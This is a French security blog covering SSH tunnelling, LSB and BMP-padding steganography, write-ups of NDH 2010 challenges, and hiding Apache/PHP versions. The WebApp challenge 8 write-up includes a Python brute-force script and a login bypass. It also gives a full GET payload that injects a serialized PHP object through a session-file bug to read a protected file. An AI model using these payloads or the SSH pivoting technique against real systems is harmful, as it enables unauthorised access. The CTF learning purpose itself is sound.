lundi 31 janvier 2011

Tunnel SSH

J'ai souvent été confronté durant un pentest, un audit ou tout simplement lors de la configuration d'une machine à distance au fait que je sois bloqué par le firewall lors de l'accès à certains ports ou à certaines machines.
Pourtant si par chance nous avons accès à un serveur SSH dans le réseau, nous pouvons dire que nous avons accès à tout (ou presque) le réseau, quelque soit le port ou la machine visée (tant que cette dernière est accessible via le serveur SSH).

Pour cela il suffit d'utiliser une des nombreuses fonctionnalités d'OpenSSH, le tunnel. L'idée est simple, utiliser le serveur SSH sur lequel nous avons un accès pour rebondir sur la machine souhaitée.

Prenons un exemple simple : nous avons accès à un serveur SSH sur un réseau et nous voulons reconfigurer la livebox de ce réseau. Le problème c'est que la livebox est inaccessible directement... elle est bien configurée pour transférer le service SSH sur la bonne machine, mais impossible d'accéder directement à cette maudite livebox.
Nous allons utiliser cet accès SSH disponible pour rebondir sur le serveur WEB de la livebox.
Les commandes à taper sur la machine distante sont les suivantes :

# ssh -N -L 8080:192.168.0.1:443 ip_serveur_ssh

Quelques explications sont nécessaires : le port 8080 apparaissant en violet est le port qui va s'ouvrir sur la machine distante, c'est à dire celle dont nous disposons. Toute communication à destination de ce port sera encapsulée et envoyée vers l'ip du serveur SSH en vert, qui désencapsulera la partie SSH et renverra le reste à destination de l'adresse IP 192.168.0.1:443 (la livebox). La réponse de la livebox fera le chemin inverse et sera encapsulée par le serveur à destination de notre client et qui enlevera la partie SSH et le renverra à notre navigateur WEB.
Remarque: L'adresse en rouge représentant l'adresse de la livebox est relative au serveur SSH et non pas à la machine distante.

En plus d'être très pratique, ce mécanisme permet de chiffrer toute la communication de la machine distante vers le réseau et donc apporte une couche de sécurité.

Il est possible de désactiver cette fonctionnalité du serveur OpenSSH dans le fichier sshd_config en mettant AllowTcpForwarding à No (par défaut il est à Yes).

dimanche 30 janvier 2011

Least Significant Bit ou LSB

Introduction

Une technique fréquemment utilisée en stéganographie pour cacher des informations est la technique du Least Significant Bit, LSB ou bits de poids faible. Contrairement à mon article sur le padding BMP, cette méthode peut être utilisée sur plusieurs formats d'images, tant que celui-ci n'utilise pas de compression avec perte. Il est donc possible de l'utiliser sur les formats BMP, PNG, GIFF... mais ne pourra pas être appliquée au format JPG. L'objectif du LSB est de modifier de façon imperceptible l'image pour cacher de l'information.

Principe

Pour commencer il est nécessaire de comprendre comment sont stockées les informations dans une image. Chaque image est constituée de pixels codés généralement par 3 couleurs : rouge, vert et bleu (RGB). Chaque pixel représente donc une certaine quantité de rouge, une certaine quantité de vert et une certaine quantité de bleue.
Si on prend le cas ou chaque couleur de chaque pixel est codée sur un octet il y a donc 256 valeurs pour une couleur de 0 (la couleur n'est pas présente) à 255.

On peut donc représenter 256^3 soit 16777216 couleurs au total. L'idée est que l'œil humain ne va pas être capable de distinguer parfaitement toutes ces couleurs et que donc de légères modifications sur la couleur des pixels ne seront pas distinguables en tout cas pour l'œil humain.

Prenons un exemple, la couleur suivante est constituée uniquement de rouge et a la valeur 255,0,0 (255 de rouge, 0 de vert et 0 de bleu), la suivante a la valeur 254,0,0.

Comme on peut le voir la différence est difficilement visible. L'image suivante contient les couleurs suivantes sur la première ligne 255,0,0 0,255,0 0,0,255 et sur la deuxième ligne les couleurs suivantes 254,0,0 0,254,0 0,0,254.

Représentation binaire

Le but est donc de trouver un moyen d'altérer la couleur de l'image d'une façon imperceptible. Cette technique va se baser sur la représentation du nombre en binaire. Comme dit précédemment, une couleur est codée sur un octet, soit 8 bits. On peut donc représenter n'importe quelle couleur par une suite de 8 bits. Ce qui est intéressant dans cette approche c'est que chaque bit n'est pas porteur de la même quantité d'information. Le bit de poids faible (le bit le plus à droite) a un poids de 1, c'est à dire que le fait qu'il soit à 1 ou à 0 ne modifiera la valeur finale que de 1, alors que le bit de poids fort (le bit le plus à gauche) a un poids de 128.

Le tableau suivant détaille le poids de chaque bit :

Représentation binaire de 153 = 10011001b


bit 7bit 6bit 5bit 4bit 3bit 2bit 1bit 0
Valeur binaire10011001
Poids du bit1286432168421

Pour vérifier : 153 = 1*128 + 0*64 + 0*32 + 1*16 + 1*8 + 0*4 + 0*2 + 1*1

L'idée finale est donc d'altérer les bits qui portent le moins d'informations pour y stocker notre message caché. Etant donné que ces bits sont porteurs de peu d'information, l'aspect visuel de l'image sera peu altéré.

Cacher de l'information

Prenons un exemple concret où nous voulons cacher la lettre "A" dans 3 pixels. Les 3 pixels seront 153,74,186 255,255,255 0,0,0. La lettre "A" a la valeur ASCII 65 soit 01000001b en binaire. Comme dit précédemment, on va modifier les bits de poids faible de chaque couleur pour stocker notre information.

Pixel 1 RougePixel 1 VertPixel 1 BleuPixel 2 RougePixel 2 VertPixel 2 BleuPixel 3 RougePixel 3 VertPixel 3 Bleu
Valeur Décimale15374186255255255000
Valeur Binaire100110010100101010111011111111111111111111111111000000000000000000000000
Bit à cacher01000001padding
Couleur finale binaire100110000100101110111010111111101111111011111110000000000000000100000000
Couleur finale15275186254254254010


La nouvelle suite de couleur passe à 152,75,186 254,254,254 0,1,0. Comme on peut donc le voir, une légère modification a lieu.

Pour aller plus loin

L'exemple ici porte sur la façon de cacher de l'information dans le bit 0, celui qui est porteur du moins grand nombre d'informations. Il est toutefois possible d'utiliser plusieurs bits comme par exemple les bits 0, 1 et 2. L'image sera au final altérée de façon plus importante, mais la quantité d'information cachée sera plus grande. En stégagnographie tout est question de compromis : Plus on cachera d'information et plus on détériorera le support et donc plus il sera facile de déceler qu'une information est cachée.

Exemple d'information cachée

L'image suivante possède une information cachée dans ses bits de poids de faible. Ici contrairement au padding BMP, aucune chance de ne voir quoique ce soit en ouvrant l'image dans un editeur hexa ;)

mardi 18 janvier 2011

NDH WebApp Epreuve 8

Dans la catégorie WebApp du challenge public de la NDH, je ne parlerai que de l'épreuve 8, car on peut trouver des explications sur toutes les autres soit sur le blog de nibbles soit sur le blog de The lsd (Enjoy).

Cette épreuve a été réalisée par NiklosKoda et comme toujours avec lui, c'est une belle réussite qui nous montre à quel point un code apparemment simple peut malgré tout être vulnérable. D'autres épreuves de NiklosKoda peuvent être trouvées sur le site de newbiecontest comme WarezManiac, WebGalerie et la fabuleuse Randy's Forum (nécessite un compte). Une fois ces épreuves réalisées, je vous conseille d'aller faire un tour sur W3challs.

Bon maintenant que la pub est terminée, je vais pouvoir attaquer cette fameuse épreuve. Pour commencer les sources du site sont disponibles et ça en général ça veut dire qu'on a intérêt à être calé en bugs PHP ou en comportements un peu exotiques...

Première étape, on se munit d'un firefox bien configuré avec en particulier l'extension HackBar puis on va essayer de monter en local le site pour qu'il soit au maximum similaire à celui de l'épreuve (ce n'est pas nécessaire, mais ça aide bien pour faire des tests). Avec un peu de chance la version de PHP apparaît dans l'en-tête HTTP ou dans les fichiers d'erreur du serveur.

time0ut# curl -D - http://wargame.nuitduhack.com:8084/time.0ut
HTTP/1.1 404 Not Found
Date: Wed, 12 Jan 2011 19:58:34 GMT
Server: Apache/2.2.15
Vary: Accept-Encoding
Content-Length: 206
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /time.0ut was not found on this server.</p>

Bon bin ici, pas de chance on a aucune information sur PHP... la configuration a été faite pour filtrer ce genre d'informations... On va fonctionner en aveugle. Les différents challenges précédents tournaient avec un PHP 5.x, on va faire de même.

Maintenant à quoi ressemble ces sources :
time0ut# ls -lRA
.:
total 12
-rw-r----- 1 time0ut www-data  794 2011-01-10 23:44 admin.php
-rw-r----- 1 time0ut www-data  663 2010-12-31 00:40 index.php
drwxr-x--- 2 time0ut www-data 4096 2011-01-11 22:36 noway

./noway:
total 20
-rw-r----- 1 time0ut www-data 4561 2011-01-09 23:18 config.inc.php
-rw-r----- 1 time0ut www-data   16 2010-12-31 00:40 .htaccess
-rw-r----- 1 time0ut www-data   31 2011-01-11 22:36 th3_fl4g_is_h3rE.php
-rw-r----- 1 time0ut www-data  208 2010-12-31 00:40 websites.txt

time0ut# cat noway/.htaccess
deny from all

On remarque immédiatement le fichier th3_fl4g_is_h3rE.php qui contient le Saint Graal, bien protégé par un .htaccess. Bien entendu, le vrai contenu ne se trouve pas dans les sources, mais c'est l'objectif de l'épreuve : lire le contenu de ce fichier.
Après une analyse rapide du code source, on remarque que la seule fonction qui va nous permettre de voir le contenu de ce fichier est file_get_contents, appelée dans le destructeur de la classe MultiWebSiteHandler. Cette classe est appelée dans admin.php, il va donc falloir avant devenir administrateur sur le site.

La première étape va consister à passer l'authentification de index.php. Pour cela il faut traverser le check suivant :

require_once './noway/config.inc.php';

...

if ( isset($_POST['login'], $_POST['pass']) && is_string($_POST['login']) && !empty($_POST['login']) && ctype_alnum($_POST['login']) && is_string($_POST['pass']) && !empty($_POST['pass']) && ctype_alnum($_POST['pass'])  )
{
   $login = trim($_POST['login']);
   $pass = trim($_POST['pass']);

   if( $login == $config['login'] && $pass == $config['pass'] )
   {
      $sess->connectMe();
      $sess->goToAdmin();
La variable $config se trouve dans le fichier noway/config.inc.php et est initialisée comme suit (bien entendu les valeurs réelles ont été modifiées) :

$config['login'] = 'some_login_you_cant_guess...';
$config['pass'] = 'some_pass_youll_never_find...';
...


Ici pas de connexion à une base de données, aucune SQL injection... il faut se creuser la tête.

Qu'affiche le code suivant ?
$var = "some_text";
$var["foo"] = "Hello World !";
echo $var["foo"];
?>
Il affiche H !
Quelques explications ici sont nécessaires : Dans l'affectation $var["foo"] = "Hello World !"; $var est une chaîne de caractère et non un tableau. Du coup la chaine "foo" est implicitement transformée en entier et devient 0. $var["foo"] représente donc le premier caractère de la chaîne $var, soit H. Plus d'informations ici.

Dans le cas qui nous intéresse, si on passe config dans la requête HTTP (GET, POST ou COOKIE), on transforme donc $config en chaîne de caractères (seulement si register_globals est à ON) et donc $config['login'] sera égal à $config['pass'] qui sera égal à $config[0] et qui sera au final égal au premier caractère de 'some_pass_youll_never_find...'.
D'après le test fait dans index.php, 'some_pass_youll_never_find...' ne peut contenir que des caractères alphanumériques (ctype_alnum), donc au final il n'y a que 62 possibilités pour trouver la valeur $config['pass'] si config est passée en paramètre.

Un petit brute force permet de rapidement tester l'ensemble des possibilités :

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import urllib, urllib2, re, cookielib

def bf_become_admin():
   # Seuls caracteres possibles pour le login et le pass
   alphabet="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
   pattern = re.compile(r".*somehow.*",re.M);

   for char in range(len(alphabet)):
      #for pwd in range(len(alphabet)):
      # En mettant une valeur a config, ca devient une chaine de caractere et plus un tableau, du coup on teste juste le premier caractere
      # $config['login'] = 'some_login_you_cant_guess...'; devient $config[0] = 's';
      data = "config=some_text&login="+alphabet[char]+"&pass="+alphabet[char];

      req = urllib2.Request('http://wargame.nuitduhack.com:8084/index.php',data);
      r = urllib2.urlopen(req);

      d = r.read();

      if pattern.search(d) == None:
         print "Char: ",alphabet[char]
         return;

bf_become_admin();


Le caractère tant attendue est 3. Ce qui veut dire qu'un simple POST de ce type config=some_text&login=3&pass=3 sur la page index.php permet de devenir administrateur sur le site.

Remarque: A noter que empty("0") retourne vrai et donc si le mot de passe avait commencé par "0", le test de index.php ne serait pas passé, et il n'aurait pas été possible d'exploiter la faille.

Maintenant qu'il est possible d'être administrateur, il faut réussir à lire le flag. A première vue, ça va être compliquée car le chemin du fichier lu est écrit en dur dans le constructeur de la classe MultiWebSiteHandler définie dans config.inc.php.

$this->file = realpath('.').'/noway/websites.txt';


A priori impossible de modifier cela...

Commençons par essayer de comprendre dans quelles circonstances ce fichier va être lu. Comme dit précédemment il est lu par la fonction file_get_contents qui est appelée par la fonction parse, dans le destructeur de la classe MultiWebSiteHandler. Donc le fichier est lu quand l'objet créé dans admin.php est détruit, donc à la fin d'admin.php. Il faudrait être capable d'appeler le destructeur de l'objet, mais sans appeler le constructeur... pire, il faudrait être capable de créer l'objet que l'on veut, et qu'il soit ensuite détruit...

Là encore, il faut se creuser la tête... et faire des recherches sur le net, notamment sur le site the Month of PHP Security. Après de longues recherches et quelques litres de café, on tombe sur ce lien qui parle d'un bug PHP spécifique à certaines versions (5.2 <= 5.2.13 et 5.3 <= 5.3.2) et dont le but est de corrompre le fichier de sessions de PHP. Bon on ne sait pas si la version de PHP utilisée correspond, mais on a rien d'autre à se mettre sous la dent.

L'idée est simple (en tout cas après coup c'est simple :D), quand une session est créée par PHP, il construit un fichier dans lequel il sauvegardera toutes les données de session (les données seront serialisées). Lorsqu'une nouvelle page aura besoin de ces données, le fichier sera lu et les données seront déserialisées. Certaines versions de PHP ont un bug qui fait qu'il est possible dans des conditions très particulières, de corrompre ce fichier de session pour que quand il est relu par PHP, de nouvelles variables de session soient créées. Grâce à cela il devrait être possible de forger l'objet que l'on souhaite (sans appeler le constructeur puisque celui ci sera issue d'une sois disant sauvegarde de session).

Pour que l'exploitation de la vulnérabilité soit possible, il est nécessaire de pouvoir créer une variable de session (ça c'est classique), mais surtout de pouvoir choisir le nom de cette variable (ça c'est de suite moins commun). L'exploit consiste ensuite à faire commencer le nom de la variable par un "!" (PS_UNDEF_MARKER), du coup PHP s'embrouille dans son parsing du fichier. Heureusement ici, c'est le cas dans le fichier admin.php :

...
if( isset($_GET['site'], $_GET['sessAdmin'], $_GET['sessValue']) && is_string($_GET['site']) && is_string($_GET['sessAdmin']) && is_string($_GET['sessValue']) )
{
   $sess->set($_GET['sessAdmin'].'_session_admin_', $_GET['sessValue'], true);
...
?>

En faisant commencer la variable sessAdmin passée en GET avec un "!", PHP va s'embrouiller. Et il sera possible avec la variable sessValue, de créer notre objet (ici un MultiWebSiteHandler avec le paramètre file à noway/th3_fl4g_is_h3rE.php) qui affichera le fichier tant attendu. sessValue doit être de la forme |nom_variable|structure_serialisée.

En résumé les étapes pour l'exploitation sont les suivantes :

  • Action utilisateur : Authentification en tant qu'admin en passant config en paramètre
  • Action utilisateur : Appel de la page admin.php en passant les paramètres sessAdmin et sessValue structurés de la bonne façon.
  • Action PHP : Exécution du script PHP puis à la fin sauvegarde des paramètres de session dans un fichier
  • Action utilisateur : Rechargement de la page
  • Action PHP : Récupération des paramètres de session dans le fichier (et du coup récupération de variables de session malveillantes), exécution du script puis à la fin appel des destructeurs et exécution du code malveillant
La requête effectuée pour passer les paramètres sessAdmin et sessValue est la suivante :

GET /admin.php?site=site1&sessAdmin=!&sessValue=|evil_object|O:19:"MultiWebSiteHandler":4:{s:25:"MultiWebSiteHandlerfile";s:26:"noway/th3_fl4g_is_h3rE.php";s:25:"MultiWebSiteHandlerdata";s:0:"";s:25:"MultiWebSiteHandlerhtml";O:7:"Display":2:{s:14:"Displaytitle";s:14:"Administration";s:13:"Displaybody";s:0:"";}s:25:"MultiWebSiteHandlersess";O:14:"SessionHandler":3:{s:25:"SessionHandlerindexPage";s:9:"index.php";s:25:"SessionHandleradminPage";s:9:"admin.php";s:24:"SessionHandlerdestruct";b:0;}}


Pour information dans le cas d'un appel normal lors d'un appel à la page admin.php avec les paramètres site=site1&sessAdmin=_site1_&sessValue=Admin le contenu des variables de session est :

_iAmFr34KinAdmin_ => 1

_site1__session_admin_ => Admin

Et le contenu du fichier de session est (le nom des variables est en bleu) :
_iAmFr34KinAdmin_|b:1;_site1__session_admin_|s:5:"Admin";
Dans le cas de notre appel malicieux, l'exploitation de la vulnérabilité aura pour objectif d'avoir un fichier de session ressemblant à ça :
_iAmFr34KinAdmin_|b:1;!_session_admin_|s:467:"|evil_object|O:19:"MultiWebSiteHandler":4:{s:25:"MultiWebSiteHandlerfile";s:26:"noway/th3_fl4g_is_h3rE.php";s:25:"MultiWebSiteHandlerdata";s:0:"";s:25:"MultiWebSiteHandlerhtml";O:7:"Display":2:{s:14:"Displaytitle";s:14:"Administration";s:13:"Displaybody";s:0:"";}s:25:"MultiWebSiteHandlersess";O:14:"SessionHandler":3:{s:25:"SessionHandlerindexPage";s:9:"index.php";s:25:"SessionHandleradminPage";s:9:"admin.php";s:24:"SessionHandlerdestruct";b:0;}}";

dimanche 9 janvier 2011

NDH Cryptographie Epreuve 2

L'épreuve 2 de cryptographie du challenge public de la ndh 2010 demande une bonne analyse du cipher (texte chiffré). Pour commencer, il ne faut pas tomber dans le piège du HTML en récupérant le cipher. Le HTML transforme plusieurs espaces en un seul espace par défaut, du coup la résolution du problème devient bien plus ardue.

Le cipher à décrypter est donc :

pArmpamete an, canps'  aeetot pru   drdahefrcief ror.P u llgef,aa tsfi e deeem mea avc lgledinu e sudssoX.XXXXXX

Que nous dit l'analyse du cipher ?
  • On trouve plusieurs classe de caractères : minuscules (en majorité), majuscule, signes de ponctuation. La fréquence de chaque classe à l'air d'être cohérente (à première vue) avec un texte classique. La position par contre n'est pas classique.
  • Il y a un ensemble de X à la fin, comme un espèce de padding.
  • L'analyse de fréquence des lettres nous dit que les lettres E et A sont les lettres qui reviennent le plus souvent, ce qui correspond aux deux lettres les plus fréquentes en Français. Bon l'analyse de fréquence avec un texte aussi court est à prendre avec des pincettes, mais ça reste une information intéressante.
Tous ces éléments ici font passer à un chiffre de transposition. Les chiffres de transposition rectangulaire respectent la fréquence des lettres, ils ne font que mélanger l'ensemble des caractères. En plus ce chiffre nécessite un padding pour pouvoir réaliser correctement le rectangle.

La longueur du cipher est 112. Pour ranger 112 caractères dans un rectangle, on a pas beaucoup de choix sur les différents rectangles possibles : 56x2, 28x4, 16x7, 14x8, 8x14, 7x16, 4x28 et 2x56 (colonne x ligne).

De tous ces rectangles possibles, seuls les rectangles suivants mettent le padding sur la même ligne : 56x2, 28x4, 16x7, 14x8 et 8x14.

On va commencer par le tableau 8x14 qui est celui qui demande la clé la plus petite (clé de 8).

0 1 2 3 4 5 6 7
p A r m p a m e
t e a n , c
a n p s ' a
e e t o t p r
u d r d a
h e f r c i e f
r o r . P u
l l g e f , a
a t s f i e
d e e e m m
e a a v c l
g l e d i n u
e s u d s s o
X . X X X X X X


On remarque que la 2° colonne possède une majuscule sur la première ligne et que c'est le seul caractère différent de X sur la dernière. C'est intéressant, la 2° colonne est donc probablement en réalité la première.
On recherche donc un mot commençant par un A faisant au minimum 9 caractères (il y a un E sous le A), ne possédant que les caractères A, R, P, M, E sur ces 8 premiers caractères et un E en 9° caractère. On regarde les mots du dictionnaire qui respectent cette règle :

time0ut# grep --color -E '^a(r|p|m)(a|r|p|m|e)(a|r|p|m|e)(a|r|p|m|e)(a|r|p|m|e)(a|r|p|m|e)(a|r|p|m|e)e' dic.txt
apparemment

Super ! Un seul mot correspond. De plus les deux lettres suivantes N et T se trouvent sur la deuxième ligne sous les lettres P. Tout fonctionne bien.

Deux clés sont donc possibles car on ne peut pas différencier les deux M dans apparemment :
  • 1,4,0,5,2,7,3,6
  • 1,4,0,5,2,7,6,3
On regarde ce que ça donne :

14052736
A
p
p
a
r
e
m
m
e
n
t
,
c
a
n
'
a
p
a
s
e
t
e
t
r
o
p
d
u
r
a
d
e
c
h
i
f
f
r
e
r
.
P
o
u
r
l
e
f
l
a
g
,
f
a
i
t
e
s
d
e
m
e
m
e
a
v
e
c
l
a
l
i
g
n
e
d
u
d
e
s
s
o
u
s
.
X
X
X
X
X
X
X


14052763
Apparemm
ent,ca
n'apas
etetrpo
durad
echiffer
r.Pour
lefla,g
faites
dememe
avecla
ligneud
dessosu
.XXXXXXX


On voit que la bonne clé est 1,4,0,5,2,7,3,6. Le texte déchiffré est donc :
Apparemment, ca n'a pas ete trop dur a dechiffrer. Pour le flag, faites de meme avec la ligne du dessous.XXXXXXX
Il ne reste plus qu'à appliquer la même opération sur la deuxième ligne et obtenir le résultat.
1b6d0ccf12a5ccbc7d0329cd1580226f

NDH Cryptographie Epreuve 1

Je continue mon parcours sur les épreuves du challenge public de la ndh 2010. Ici on s'attaque à l'épreuve 1 de le cryptographie.


Xnwrk ha dwod lkqn rwhezan aop 27wz62965aawa3b0b1319y489y107y99


Bon on se dit que c'est la première épreuve et que ça ne doit pas être bien difficile, on va commencer simple, voir très simple avec un simple césar.

time0ut# caesar.rb -b -f epreuve.txt
DEC:1 => WMVQJ GZ CVNC KJPM QVGDYZM ZNO 27VY62965ZZVZ3A0A1319X489X107X99
DEC:2 => VLUPI FY BUMB JIOL PUFCXYL YMN 27UX62965YYUY3Z0Z1319W489W107W99
DEC:3 => UKTOH EX ATLA IHNK OTEBWXK XLM 27TW62965XXTX3Y0Y1319V489V107V99
DEC:4 => TJSNG DW ZSKZ HGMJ NSDAVWJ WKL 27SV62965WWSW3X0X1319U489U107U99
DEC:5 => SIRMF CV YRJY GFLI MRCZUVI VJK 27RU62965VVRV3W0W1319T489T107T99
DEC:6 => RHQLE BU XQIX FEKH LQBYTUH UIJ 27QT62965UUQU3V0V1319S489S107S99
DEC:7 => QGPKD AT WPHW EDJG KPAXSTG THI 27PS62965TTPT3U0U1319R489R107R99
DEC:8 => PFOJC ZS VOGV DCIF JOZWRSF SGH 27OR62965SSOS3T0T1319Q489Q107Q99
DEC:9 => OENIB YR UNFU CBHE INYVQRE RFG 27NQ62965RRNR3S0S1319P489P107P99
DEC:10 => NDMHA XQ TMET BAGD HMXUPQD QEF 27MP62965QQMQ3R0R1319O489O107O99
DEC:11 => MCLGZ WP SLDS AZFC GLWTOPC PDE 27LO62965PPLP3Q0Q1319N489N107N99
DEC:12 => LBKFY VO RKCR ZYEB FKVSNOB OCD 27KN62965OOKO3P0P1319M489M107M99
DEC:13 => KAJEX UN QJBQ YXDA EJURMNA NBC 27JM62965NNJN3O0O1319L489L107L99
DEC:14 => JZIDW TM PIAP XWCZ DITQLMZ MAB 27IL62965MMIM3N0N1319K489K107K99
DEC:15 => IYHCV SL OHZO WVBY CHSPKLY LZA 27HK62965LLHL3M0M1319J489J107J99
DEC:16 => HXGBU RK NGYN VUAX BGROJKX KYZ 27GJ62965KKGK3L0L1319I489I107I99
DEC:17 => GWFAT QJ MFXM UTZW AFQNIJW JXY 27FI62965JJFJ3K0K1319H489H107H99
DEC:18 => FVEZS PI LEWL TSYV ZEPMHIV IWX 27EH62965IIEI3J0J1319G489G107G99
DEC:19 => EUDYR OH KDVK SRXU YDOLGHU HVW 27DG62965HHDH3I0I1319F489F107F99
DEC:20 => DTCXQ NG JCUJ RQWT XCNKFGT GUV 27CF62965GGCG3H0H1319E489E107E99
DEC:21 => CSBWP MF IBTI QPVS WBMJEFS FTU 27BE62965FFBF3G0G1319D489D107D99
DEC:22 => BRAVO LE HASH POUR VALIDER EST 27AD62965EEAE3F0F1319C489C107C99
DEC:23 => AQZUN KD GZRG ONTQ UZKHCDQ DRS 27ZC62965DDZD3E0E1319B489B107B99
DEC:24 => ZPYTM JC FYQF NMSP TYJGBCP CQR 27YB62965CCYC3D0D1319A489A107A99
DEC:25 => YOXSL IB EXPE MLRO SXIFABO BPQ 27XA62965BBXB3C0C1319Z489Z107Z99
caesar.rb est un programme faisant juste des décalage de lettres. L'option -b lui dit de tester toutes les possibilités (c'est à dire juste 25 pour un simple César). On voit que le décalage 22 donne le bon résulat.

jeudi 6 janvier 2011

NDH Steganographie Epreuve 3

J'ai décidé pendant mon temps libre de m'attaquer aux challenges publics de la nuit du hack 2010 qui a eu lieu le 19 Juin 2010. Comme ces challenges se déroulent sur une nuit, ils sont relativement rapides à faire et je dois dire très bien faits. Je félicite donc les concepteurs de ces challenges, car ils sont très intéressants sans être trop prise de tête. L'épreuve 3 de steganographie illustre parfaitement mon post sur le padding BMP. On ressort donc mon petit programme python que l'on peut trouver dans ce post et on l'exécute sur notre image.
time0ut# ./bmp.py space.bmp
Taille padding : 842
Padding non nul !
Ca ne fait pas de doute, ça sent l'information cachée dans le padding à plein nez ! Le problème c'est qu'en stéganographie il peut être facile de savoir si oui ou non une information est cachée dans le support, par contre savoir extraire cette information est d'une toute autre difficulté.

On va commencer doucement et simplement afficher le contenu de ce padding, avec un peu de chance on trouvera quelque chose de connu. Pour cela, je m'appuie sur la classe BMP codée dans mon post sur le padding.
...
img = BMP(sys.argv[1]);
print "".join(bmp.padding());
Et on execute le programme !
time0ut# ./ep3.py space.bmp
bGUgaGFzaCBlc3QgOiA2Njk3NmI1ZDNiYWNjNzQwOWNkODNiNGIzMTM5NDcxYw==
Hum, ça sent bon. On voit clairement que c'est de la base64, l'extraction de l'information ne sera donc pas difficile ! On modifie le programme.
...
img = BMP(sys.argv[1]);
print base64.b64decode("".join(bmp.padding()));
Et on conclut !
time0ut# ./ep3.py space.bmp
le hash est : 66976b5d3bacc7409cd83b4b3139471c
Voilà résolution terminée !

mercredi 5 janvier 2011

Padding BMP

Suite à mon introduction sur le concept de la stéganographie, voilà un exemple appliqué sur les images bitmap plus communément appelées BMP. Cette technique assez basique fonctionne exclusivement sur les images BMP car elle utilise une des particularités de ce format : le padding (le bourrage en français). La norme BMP dit que chaque ligne de l'image doit être codée par un nombre d'octets multiple de 4. Si ce n'est pas il faut combler le manque d'octets avec la valeur nulle. On appelle ça le padding.
  On se retrouve donc avec un fichier possédant des octets qui n'apportent aucune information et qui sont même complètement ignorés par la totalité des programmes. Il est donc possible d'utiliser ce padding pour cacher des données à l'intérieur. L'image apparaitra totalement inchangée dans votre viewer préférée. Cette technique très simple n'est possible que si une ligne n'est pas codée avec un nombre d'octets multiple de 4 bien entendu, sinon le padding sera inexistant. On peut donc écrire la formule suivante qui donnera la taille du nombre d'octet que l'on peut cacher dans une image BMP en utilisant cette technique :
Nb_Bytes = L*((4-((C*S)%4))%4)

L : Nombre de lignes de l'image

C : Nombre de colonnes de l'image

S : Taille en octet d'un pixel

Petit exemple : la première image ici est l'image originale.

 La deuxième image contient un message caché de 173 octets (on aurait pu aller jusqu'à 508 !).
 
 Comme on peut le voir elles ont exactement le même aspect et font exactement le même poids. Le programme python suivant permet de savoir si oui ou non l'image que l'on passe en paramètre ne contient que des octets nuls dans son padding (attention à n'utiliser que sur des images BMP non indexées).
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys,struct

class BMP:
 def __init__(self,path):
  f = open(path,"rb")
  data = f.read()
  f.close()

  names = ["magick","size_file","creator1","creator2","start_data","header_image","width","height","plan","colors","compression","raw_size","horizontal","vertical","color_palette","important_colors"]

  values = struct.unpack('<2sLHHLLLLHHLLLLLL',data[:54])
  self.data = data[54:]

  self.header = dict()

  for i in range(len(names)):
   self.header[names[i]] = values[i]

  # On stocke quelques éléments pour ne pas être obligé de toujours les calculer
  self.size_pixel = self.header['colors']/8
  self.padding_size = self.padding_size()

 # Retourne la taille du padding par ligne
 def padding_size(self):
  return ((4-(self.header['width']*self.size_pixel)%4)%4)

 # Retourne un tableau contenant le padding dans le fichier bmp
 def padding(self):
  r = []

  if self.padding_size != 0:
   start = 0
   for row in range(self.header['height']):
    start += (self.size_pixel*self.header['width'])
    r += struct.unpack('c'*self.padding_size,self.data[start:start+self.padding_size])
    start += self.padding_size

  return r

if len(sys.argv) != 2:
 print "Manque le fichier bmp"
 sys.exit(1)

bmp = BMP(sys.argv[1])
print "Taille padding : %i" % (bmp.padding_size*bmp.header["height"])
for e in bmp.padding():
 if e != 0:
  print "Padding non nul !"
  sys.exit(0)

print "Padding nul"
sys.exit(0)
Cette technique à l'avantage de ne pas du tout altérer l'image, et de ne pas modifier sa taille. Cependant, outre le fait qu'elle soit très basique, il faut bien faire attention aux informations cachées dans le padding. La simple ouverture de l'image dans un fichier texte peut révéler des parties de l'information cachée, qui se trouvera en clair. Un élément important avec cette technique à préciser est la structure d'un fichier BMP. Contrairement à la plupart des formats d'images les lignes sont stockées dans l'ordre inverse : la dernière ligne est codée, puis l'avant dernière, ... et enfin la première. De plus (mais ça n'a pas réellement d'impact ici), le codage d'un pixel se fait dans l'ordre bleu-vert-rouge, contrairement aux rouge-vert-bleu habituels.

dimanche 2 janvier 2011

Cacher sa version d'Apache/PHP

La sécurité par l'obscurité n'a jamais été une bonne méthode pour se protéger. Cependant ne pas fournir trop d'informations sur les services et leurs versions écoutant sur notre machine est quand même un élément déterminant, pour rendre la tâche de l'attaquant plus difficile. Ce qui est important, c'est de ne pas se limiter à cela. Ce n'est pas parce que vous filtrez le plus grand nombre d'information que vous êtes en sécurité. Par défaut Apache et PHP envoient des informations sur leurs versions, leurs patchs, le système d'exploitation sur lesquels ils tournent..., que ce soit dans les en-têtes HTTP ou dans les pages d'erreur (de type 404 par exemple). Cette "fuite" d'information sur la configuration de votre serveur WEB est en générale dans la configuration par défaut d'Apache et PHP. On peut par exemple trouver dans l'en-tête HTTP des informations de ce type :
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
Et dans les fichiers d'erreurs :
Not Found
The requested URL /blog/dfd.html was not found on this server.
Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch Server at www.time0ut.org Port 80
Pour empêcher la divulgation de ces informations, il suffit de modifier les paramètres d'apache de cette façon (en général dans apache.conf) :
ServerTokens Prod
ServerSignature Off
La première ligne limite le paramètre Server de l'en-tête HTTP à Apache, et la deuxième ligne enlève les informations des pages d'erreur. Pour PHP, il faut modifier le fichier php.ini en mettant :
expose_php = Off
Qui aura pour effet de ne plus envoyer la ligne X-Powered-By de la réponse HTTP du serveur.